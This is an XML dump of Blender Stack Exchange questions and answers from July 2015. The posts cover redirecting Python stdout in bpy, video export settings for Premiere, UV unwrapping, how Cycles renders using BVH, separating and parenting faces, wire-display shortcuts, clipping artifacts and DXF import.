  <row Id="34221" PostTypeId="2" ParentId="6119" CreationDate="2015-07-18T20:52:06.860" Score="5" Body="&lt;p&gt;Python can temporarily redirect the &lt;code&gt;stdout&lt;/code&gt;, this is ideal since you may not want to suppress output for _all_ scripts, just selectively silence some operations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;import io&#xA;from contextlib import redirect_stdout&#xA;&#xA;stdout = io.StringIO()&#xA;with redirect_stdout(stdout):&#xA;    bpy.ops.mesh.remove_doubles()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want you can read the output back out or use it however you like.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stdout.seek(0)&#xA;output = stdout.read()&#xA;print(&quot;Report was %r&quot; % output)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to redirect both stdout and stderr.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;import io&#xA;from contextlib import redirect_stdout, redirect_stderr&#xA;&#xA;output = io.StringIO()&#xA;with redirect_stdout(output), redirect_stderr(output):&#xA;    bpy.ops.some.operator_that_may_print_text()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2016-02-15T15:09:25.160" LastActivityDate="2016-02-15T15:09:25.160" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34222" PostTypeId="1" CreationDate="2015-07-18T23:13:47.373" Score="2" ViewCount="3041" Body="&lt;p&gt;Whenever I import a video rendered in Blender into Premiere, the video in Premiere only shows a random frame from a different source for the duration of the video. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current workflow (with workaround) is: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Put frames in Blender 2.75 video sequence editor&lt;/li&gt;&#xA;&lt;li&gt;Render out animation with H.264 format/file format&lt;/li&gt;&#xA;&lt;li&gt;Run through Handbrake (because when I put the file straight into Premiere the problem above happens)&lt;/li&gt;&#xA;&lt;li&gt;Use the new Handbrake video file in Premiere&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I need a way to cut out the Handbrake steps, does anyone have working render settings that I could use to export to Adobe Premiere?&lt;/p&gt;&#xA;" OwnerUserId="15764" LastActivityDate="2018-03-01T21:05:35.157" Title="What are the best settings for a video export to Adobe Premiere (CS6)?" Tags="&lt;rendering&gt;&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34223" PostTypeId="2" ParentId="32663" CreationDate="2015-07-18T23:18:54.390" Score="2" Body="&lt;h2&gt;By UV-unwrapping them correctly.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yudbs.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without UVmap the textured object appears all made of one color (a sort of average color of the texture)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gMmV0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By unwrapping the geometry in &lt;a href=&quot;http://www.katsbits.com/tutorials/blender/learning-unwrapping-uvw-maps.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;proper&lt;/a&gt; way (in this simple case, just a basic unwrap is enough) you'll be able to se the texture cover the plane as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that the Uvmap in the uv/image editor has the two triangles located in a way that reflect the faces topology.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PbRKN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Resetting the UVmap brings all the faces to cover the whole texture..so the triangles are both in the same location, overlapped. So each faces show the same part of the mesh, leading to the behavior you step onto.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice how the vertex order of the faces determines an unexpected rotation of the textures on the geometry. This brings a discontinuty in the textures which now don't follow anymore the mesh. Every face has it's own UV.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to re-unwrap them.&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-07-18T23:37:33.983" LastActivityDate="2015-07-18T23:37:33.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34225" PostTypeId="1" AcceptedAnswerId="34229" CreationDate="2015-07-19T01:24:55.453" Score="11" ViewCount="1402" Body="&lt;p&gt;What processes comprise a Cycles render?&#xA;I was watching the top of the render view and watching the progress messages:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Synchronizing Object | ObjectName &lt;/li&gt;&#xA;&lt;li&gt;Updating Mesh | Computing Normals&lt;/li&gt;&#xA;&lt;li&gt;Updating Scene BVH | Building BVH &lt;/li&gt;&#xA;&lt;li&gt;Packing BVH Nodes &lt;/li&gt;&#xA;&lt;li&gt;Path Tracing Sample 1/xxx&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There were a couple others I missed because they happened so quickly.&#xA;But this got me wondering what actually is happening underneath the hood and I thought you guys might know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am especially interested in finding out what BVH is, since I've heard of BVH data being imported/exported between 3D applications.&lt;/p&gt;&#xA;" OwnerUserId="2952" LastActivityDate="2016-04-06T12:34:52.603" Title="The anatomy of a Cycles render?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34228" PostTypeId="2" ParentId="34222" CreationDate="2015-07-19T02:40:11.667" Score="2" Body="&lt;p&gt;What I ended up doing was following cegaton's suggestion (I don't know if I'm able to say a comment answered my question) in which they told me to import the frames as a sequence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first I thought I was unable to because of the frame's irregular naming pattern, but then I found this thread (&lt;a href=&quot;https://forums.creativecow.net/thread/3/926297&quot; rel=&quot;nofollow&quot;&gt;https://forums.creativecow.net/thread/3/926297&lt;/a&gt;) which suggested to do a batch rename in Adobe Bridge to give all the frames a consistent naming scheme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To batch rename, open up bridge, select the files you want to rename (hopefully they are already in order) and go to tools -&gt; batch rename.&lt;/p&gt;&#xA;" OwnerUserId="15764" LastActivityDate="2015-07-19T02:40:11.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34229" PostTypeId="2" ParentId="34225" CreationDate="2015-07-19T02:44:58.253" Score="15" Body="&lt;p&gt;I can't provide explanations of all the steps, but I can explain a few and do some research of my own.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;BVH:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;BVH stands for &lt;em&gt;Bounding Volume Hierarchy&lt;/em&gt;.  It is a method of grouping up the parts of your scene into &lt;em&gt;bounding volumes&lt;/em&gt; so that Cycles only has to be concerned with objects within a BV that the current ray intersects.  This speeds up render times by eliminating unnecessary collision checking.  It does add a very small amount of extra time at the beginning of the render though to build&#xA;the BVH (i.e. split up the objects).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more on BVH check out &lt;a href=&quot;https://blender.stackexchange.com/a/32473/5705&quot;&gt;this answer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Path [Ray] Tracing:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Ray tracing is the actual rendering, all the previous steps are simply getting the scene ready to render.  Ray tracing is the process of calculating the paths of light photons (called rays or sometimes paths) through the scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cycles is what is called a &lt;strong&gt;&lt;em&gt;backwards&lt;/strong&gt; ray tracing engine&lt;/em&gt;.  This is because instead of tracing the rays trough the scene starting a the light source, cycles traces the rays backwards starting from the camera.  This eliminates having to waste time calculating rays that never hit the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To visualize how this works say we are rendering a 16 x 9 px image.  Now imagine that a 16 x 9 pixel grid is overlaid over the camera view.  The way cycles computes the final render is by shooting a ray at the center of each pixel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4VzCL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The path of this ray is then traced through the scene, interacting with the surfaces or volumes of the objects in the scene according to their shaders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N1WcR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The path will stop when either 1. the ray has hit a lamp or emission shader, 2. the ray will not hit any more objects on it's current trajectory, or 3. the ray has completed a maximum number of bounces.  Cycles will then compute the color of that pixel based on the emission strength and color of the final medium it hit, the colors of the mediums it interacted with along the way, and the length of the ray.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if cycles only shot one ray per pixel you would end up with a pretty terrible looking result.  After all, if a surface is 50% diffuse and 50% glossy, that one ray can't act &lt;em&gt;both&lt;/em&gt; ways, it has to choose one.  Not to mention more complicated shader node trees, or even the fact that many shaders (like diffuse) introduce a random element to the bounce of a ray.  This is solved by sending multiple rays per pixel and averaging the RGB values of each ray.  You can change the number of rays cycles shoots per pixel by changing the number of &lt;em&gt;samples&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2016-04-06T12:34:52.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34230" PostTypeId="1" CreationDate="2015-07-19T05:03:06.960" Score="0" ViewCount="609" Body="&lt;p&gt;I didn't know how to title this, but there is an effect video games generally have that I would like to achieve. If you have, for example, a turret in your vision, a healthbar will appear on it. if you are far away from the turret, the health bar &lt;em&gt;will not&lt;/em&gt; be smaller. Also, the healthbar is &lt;em&gt;right above the turret&lt;/em&gt;. How can I achieve this effect? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-07-19T05:03:06.960" Title="How to create a moving HUD?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34232" PostTypeId="1" AcceptedAnswerId="34234" CreationDate="2015-07-19T09:52:36.023" Score="1" ViewCount="124" Body="&lt;p&gt;I would like to copy a surface from a rounded cube and make it a child node of the rounded cube. This image depicts what I mean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o5Aeq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The black square represents the surface that I want to duplicate and add to the cube as a child node. I'm really new to Blender and I appreciate any help I get.&lt;/p&gt;&#xA;" OwnerUserId="15494" LastEditorUserId="5113" LastEditDate="2015-07-19T10:24:15.960" LastActivityDate="2015-07-19T13:56:15.093" Title="duplicating a surface and making it a child node" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;workflow&gt;&lt;parent&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34234" PostTypeId="2" ParentId="34232" CreationDate="2015-07-19T10:03:42.100" Score="2" Body="&lt;h2&gt;Duplicate, separate and parent&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To get the surface you'll have to duplicate the faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fKgB9m.jpg&quot; alt=&quot;enter image description here&quot;&gt;  &lt;img src=&quot;https://i.stack.imgur.com/RWrgBm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable Edit Mode, select the faces you need, duplicate them by pressing &lt;kbd&gt;shift&lt;/kbd&gt;+&lt;kbd&gt;d&lt;/kbd&gt;.&#xA;Your new faces shall now be selected, but they still belong to the cube object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To separate them press &lt;kbd&gt;p&lt;/kbd&gt; while the faces are still selected. Choose &quot;Separate&quot; in the pop up menu to tell blender that you want to put those faces in a different object with &quot;selection&quot; criteria.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that you have two diffeent object you can &lt;a href=&quot;https://blender.stackexchange.com/questions/26108/how-do-i-parent-objects&quot;&gt;parent with hierarchy&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-07-19T13:56:15.093" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34235" PostTypeId="2" ParentId="1437" CreationDate="2015-07-19T10:25:05.707" Score="2" Body="&lt;h2&gt;Extrude individuallly&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In &lt;em&gt;Edit&lt;/em&gt; mode &gt; Face selecion mode &gt; Select the face &lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;W&lt;/kbd&gt; &gt; Subdivde &gt; tool shelf &lt;kbd&gt;T&lt;/kbd&gt; or &lt;kbd&gt;F6&lt;/kbd&gt; -&gt; Number of Cuts (in your case 3)&lt;/li&gt;&#xA;&lt;li&gt;Extrude them with &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt; and choose &quot;Indvidual faces&quot; (extrude them by a zero factor so they'll stay in place)&lt;/li&gt;&#xA;&lt;li&gt;Invert selection with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;i&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Delete faces&lt;/li&gt;&#xA;&lt;li&gt;Select all, press than &lt;kbd&gt;P&lt;/kbd&gt; &gt; Separate by loose parts&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-09-09T19:24:36.830" LastActivityDate="2015-09-09T19:24:36.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34236" PostTypeId="1" CreationDate="2015-07-19T10:38:33.410" Score="1" ViewCount="367" Body="&lt;p&gt;i want to make shortcut for wire displaying (not wireframe mode, displaying wire on top of solid mode), you can find it in the Properties window&gt; Object tab&gt; Display. when i right click there is no &quot;add shortcut&quot; option&lt;/p&gt;&#xA;" OwnerUserId="11330" LastActivityDate="2015-07-20T15:31:09.160" Title="Custom shortcut" Tags="&lt;shortcut&gt;" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34237" PostTypeId="2" ParentId="34212" CreationDate="2015-07-19T11:00:22.280" Score="2" Body="&lt;p&gt;Having such problems with mask created by &lt;strong&gt;Vertex Paint&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;First check whether there are double vertices (&lt;kbd&gt;W&lt;/kbd&gt; &gt;&#xA;&lt;em&gt;Remove doubles&lt;/em&gt;). &lt;br/&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Recalculate normals with &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;N&lt;/kbd&gt;. The result&#xA;is better but still weird, something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FoBAn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Continue using &lt;strong&gt;Vertex Paint&lt;/strong&gt;, simply drawing over these gaps and&#xA;smoothing boundaries and it's done.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1245" LastActivityDate="2015-07-19T11:00:22.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34238" PostTypeId="2" ParentId="34236" CreationDate="2015-07-19T11:02:40.980" Score="2" Body="&lt;p&gt;Donwload the &quot;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Display_Tools&quot; rel=&quot;nofollow noreferrer&quot;&gt;Display tools&lt;/a&gt;&quot; add-on and assing a shortcut to the &quot;wire on&quot; option &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kqctf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows you to apply effetc to multiple selected object at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a way in wich you can hack the problem.&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-07-19T18:47:34.847" LastActivityDate="2015-07-19T18:47:34.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34239" PostTypeId="1" CreationDate="2015-07-19T11:51:37.160" Score="1" ViewCount="650" Body="&lt;p&gt;I have some meshes that I baked the materials in to vertex color and it works fine. But when I export to FBX, all the vertex colors are RGBA while all the alpha values are 1.0. Is there a way to get rid of the alpha component of the vertex colors?&lt;/p&gt;&#xA;" OwnerUserId="8313" LastActivityDate="2015-07-19T11:51:37.160" Title="Remove alpha from vertex color" Tags="&lt;transparency&gt;&lt;vertex-colors&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34240" PostTypeId="1" CreationDate="2015-07-19T12:59:35.277" Score="1" ViewCount="64" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DoxeS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to install this extension to my blender to get materials to save from blender render to cycles render. Anyways when I clicked on the installation link this is what appeared(picture). How do I use this to install the script to blender?&lt;/p&gt;&#xA;" OwnerUserId="15767" LastEditorUserId="3401" LastEditDate="2015-07-19T17:53:28.430" LastActivityDate="2015-07-19T17:53:28.430" Title="How can I install a script into blender?" Tags="&lt;cycles-render-engine&gt;&lt;scripting&gt;&lt;installation&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-07-19T13:52:13.317" ContentLicense="CC BY-SA 3.0" />
  <row Id="34241" PostTypeId="2" ParentId="34236" CreationDate="2015-07-19T13:39:15.937" Score="1" Body="&lt;p&gt;I've found a bit tricky solution, but it works. It's based on keyframing and allows you to switch between desired modes using right and left numpad arrows.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4dhmI.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to frame 0 and press &lt;kbd&gt;I&lt;/kbd&gt; while hovering the cursor over the &lt;em&gt;Wire&lt;/em&gt; box in the &lt;em&gt;Display&lt;/em&gt; panel of the &lt;em&gt;Object&lt;/em&gt; header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PuoZj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now go to frame 1 (press &lt;kbd&gt;→&lt;/kbd&gt;), check the &lt;em&gt;Wire&lt;/em&gt; box and press &lt;kbd&gt;I&lt;/kbd&gt; again. Now you may easily switch between solid and wire modes using left and right arrows.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Yij0t.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-07-19T18:03:19.510" LastActivityDate="2015-07-19T18:03:19.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34243" PostTypeId="2" ParentId="18643" CreationDate="2015-07-19T13:48:47.427" Score="2" Body="&lt;p&gt;Actually you can use both. The output of the compositor is available as the &quot;Scene Strip&quot; of the video sequence editor, provided they are both enabled in the render tab (which they are by default).&lt;/p&gt;&#xA;" OwnerUserId="2739" LastActivityDate="2015-07-19T13:48:47.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34245" PostTypeId="1" AcceptedAnswerId="34247" CreationDate="2015-07-19T16:09:51.557" Score="13" ViewCount="18697" Body="&lt;p&gt;I changed my Blender Units to Metric System, but when I'm building things, my meshes are transparent, i.e. I can see through faces like in wireframe even though my wireframe is turned off. All faces have a light white in non-wireframe mode, but I can still see through them. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/fl7eK.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;How do I reverse this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another issue I get is this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/ect1jkE.png&quot; alt=&quot;ect1jkE&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like clipping is not working properly.&lt;/p&gt;&#xA;" OwnerUserId="15593" LastEditorDisplayName="user1853" LastEditDate="2015-07-19T16:51:19.183" LastActivityDate="2019-04-19T06:07:55.137" Title="Edit Mode Transparent Objects" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;3d-view&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34246" PostTypeId="2" ParentId="34245" CreationDate="2015-07-19T16:15:56.940" Score="6" Body="&lt;p&gt;You probably switched off the limit selection to visible button &lt;img src=&quot;https://i.stack.imgur.com/lToS1.png&quot; alt=&quot;enter image description here&quot;&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KStlP.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-07-19T16:22:26.640" LastActivityDate="2015-07-19T16:22:26.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34247" PostTypeId="2" ParentId="34245" CreationDate="2015-07-19T17:09:55.963" Score="17" Body="&lt;h2&gt;1° Possible cause:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&quot;Limit selection to visible&quot; must be &lt;strong&gt;Enabled&lt;/strong&gt;, if you don't want to see behind faces while in edit mode. You can find the icon in the 3D View bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pRyUY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;2° Possible cause:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Those are artifacts caused by not appropriate settings of camera's &lt;strong&gt;clipping limits&lt;/strong&gt; for your scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KYVpe.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the &quot;default scene&quot;, except from the clipping near limit.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Clipping plane determine the boundary of camera's &lt;a href=&quot;https://en.wikipedia.org/wiki/Viewing_frustum&quot; rel=&quot;noreferrer&quot;&gt;frustum&lt;/a&gt; (which is the portion of space where computations are done). The bigger the boundary , the less precise calculations could be. As the calculation in this case are about visibility, here they comes the strange effects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may not seems that your frustum is so big, as in your scene clipping planes seem not to far away from the default settings...but you must consider that in that calculation also global scaling is involved...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZFCLG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cube is 150mx150m, the near clipping plane is 1mm/0.01=10cm and the far clipping plane is 1000m/0.01=100'000m! The scale of the frustum is not optimal for your geometery. I suggest to lower the value of you far clipping plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/03uQA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-10-20T18:22:54.197" LastActivityDate="2015-10-20T18:22:54.197" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="34248" PostTypeId="1" CreationDate="2015-07-19T18:13:36.977" Score="5" ViewCount="2923" Body="&lt;p&gt;I feel like I've fallen at the first hurdle, importing a DXF file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By that I mean, I figured out how to enable the dxf import tool, and imported the file I had, but that's about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm struggling how to manage the workspace and actually view the file I've imported or do anything with it. Maybe I'm doing the import process wrong? Do I import it as a new scene, do I center geometry, etc, etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I selected center geometry I could at least see something, but it looked like my imported file is maybe way to big for the workspace, as all I could see when I zoomed right out, was the first letter or so of some text from the imported file. (see screen shot).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dqj0E.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dqj0E.jpg&quot; alt=&quot;imported dxf in blender&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, I went the other way as you pointed out. Used 0.01, which brought a lot more into view, but still very large, so... used 0.001 which brought more into view, but it doesn't look anything like the plans I see in Autodesk?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3glsp.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3glsp.jpg&quot; alt=&quot;incorrectly imported dxf&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To give you an idea of what it should be looking like, this is it in autocad. View from each side, floor plan for ground and 1st floor... two view of the entire building plot, one showing topography and a street view elevation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HlUOA.jpg&quot; alt=&quot;how the dxf should look&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two more Blender screen grabs: this is imported at 0.0001. The first image is relatively close up to the workspace grid, and then second is zoomed out. The closer view looks like I'm getting close to the size I need. In the zoomed out view... I've no idea what is forming the large circular patterns as I can't see anything like that in the original drawings???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it help my progress if I removed some of the layers from the original file? I obviously don't need things like drains and internal wood framing, water mains, wiring, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CwXvcm.jpg&quot; alt=&quot;&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/D1Bwnm.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see from the last screen grab... I've kinda got the plans into the work area, but I don't know what is affecting the view. What is causing this grey shading across the work area?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was more of it, in ever increasing circles going out from the center, but I removed some by hiding certain layers, but can't seem to view just the plans without this shading?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5tkCEm.jpg&quot; alt=&quot;&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/REsvAm.jpg&quot; alt=&quot;&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GjdSNm.jpg&quot; alt=&quot;&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UYEvim.jpg&quot; alt=&quot;&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/L3wbTm.jpg&quot; alt=&quot;&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eY9HGm.jpg&quot; alt=&quot;&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ty9LH.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WthWp.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15776" LastEditorUserId="2217" LastEditDate="2015-07-20T14:43:15.020" LastActivityDate="2019-06-09T14:04:23.713" Title="Import DXF and make it fit work area" Tags="&lt;modeling&gt;&lt;objects&gt;&lt;3d-view&gt;&lt;import&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
